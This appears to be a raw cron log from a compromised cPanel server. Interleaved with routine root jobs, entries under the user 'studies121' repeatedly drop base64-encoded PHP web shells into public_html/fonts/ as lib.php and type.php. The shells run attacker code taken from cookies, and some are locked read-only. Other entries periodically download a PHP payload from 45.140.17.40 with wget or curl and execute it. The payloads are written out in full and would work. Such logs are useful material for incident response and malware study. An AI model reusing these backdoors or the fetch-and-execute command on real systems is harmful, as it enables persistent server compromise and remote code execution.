Sep 11 22:52:01 ip-184-168-122-23 CROND[16557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:52:01 ip-184-168-122-23 CROND[16558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:53:01 ip-184-168-122-23 CROND[16644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:53:01 ip-184-168-122-23 CROND[16647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:53:01 ip-184-168-122-23 CROND[16646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:53:01 ip-184-168-122-23 CROND[16648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:54:01 ip-184-168-122-23 CROND[16812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:54:01 ip-184-168-122-23 CROND[16815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:54:01 ip-184-168-122-23 CROND[16814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:54:01 ip-184-168-122-23 CROND[16816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:54:01 ip-184-168-122-23 CROND[16817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:55:01 ip-184-168-122-23 CROND[16915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:55:01 ip-184-168-122-23 CROND[16918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:55:01 ip-184-168-122-23 CROND[16917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:55:01 ip-184-168-122-23 CROND[16919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:55:01 ip-184-168-122-23 CROND[16921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:55:01 ip-184-168-122-23 CROND[16920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:56:01 ip-184-168-122-23 CROND[17016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:56:01 ip-184-168-122-23 CROND[17018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:56:01 ip-184-168-122-23 CROND[17019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:56:01 ip-184-168-122-23 CROND[17022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:56:01 ip-184-168-122-23 CROND[17020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:57:01 ip-184-168-122-23 CROND[17127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:57:01 ip-184-168-122-23 CROND[17125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:57:01 ip-184-168-122-23 CROND[17126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:57:01 ip-184-168-122-23 CROND[17128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:58:01 ip-184-168-122-23 CROND[17215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:58:01 ip-184-168-122-23 CROND[17216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:58:01 ip-184-168-122-23 CROND[17218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:58:01 ip-184-168-122-23 CROND[17217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:58:01 ip-184-168-122-23 CROND[17221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:59:01 ip-184-168-122-23 CROND[17411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:59:01 ip-184-168-122-23 CROND[17410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:59:01 ip-184-168-122-23 CROND[17409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:59:01 ip-184-168-122-23 CROND[17412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:00:01 ip-184-168-122-23 CROND[17517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:00:01 ip-184-168-122-23 CROND[17520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:00:01 ip-184-168-122-23 CROND[17521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:00:01 ip-184-168-122-23 CROND[17522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:00:01 ip-184-168-122-23 CROND[17523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:00:01 ip-184-168-122-23 CROND[17528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:00:01 ip-184-168-122-23 CROND[17529]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:00:01 ip-184-168-122-23 CROND[17531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:01:01 ip-184-168-122-23 CROND[17630]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 23:01:01 ip-184-168-122-23 CROND[17633]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:01:01 ip-184-168-122-23 CROND[17635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:01:01 ip-184-168-122-23 CROND[17638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:01:01 ip-184-168-122-23 CROND[17634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17630]: starting 0anacron
Sep 11 23:01:01 ip-184-168-122-23 CROND[17637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17649]: finished 0anacron
Sep 11 23:02:01 ip-184-168-122-23 CROND[17751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:02:01 ip-184-168-122-23 CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:02:01 ip-184-168-122-23 CROND[17752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:02:01 ip-184-168-122-23 CROND[17753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:02:01 ip-184-168-122-23 CROND[17755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:03:01 ip-184-168-122-23 CROND[17850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:03:01 ip-184-168-122-23 CROND[17851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:03:01 ip-184-168-122-23 CROND[17852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:03:01 ip-184-168-122-23 CROND[17853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:04:01 ip-184-168-122-23 CROND[18028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:04:01 ip-184-168-122-23 CROND[18030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:04:01 ip-184-168-122-23 CROND[18031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
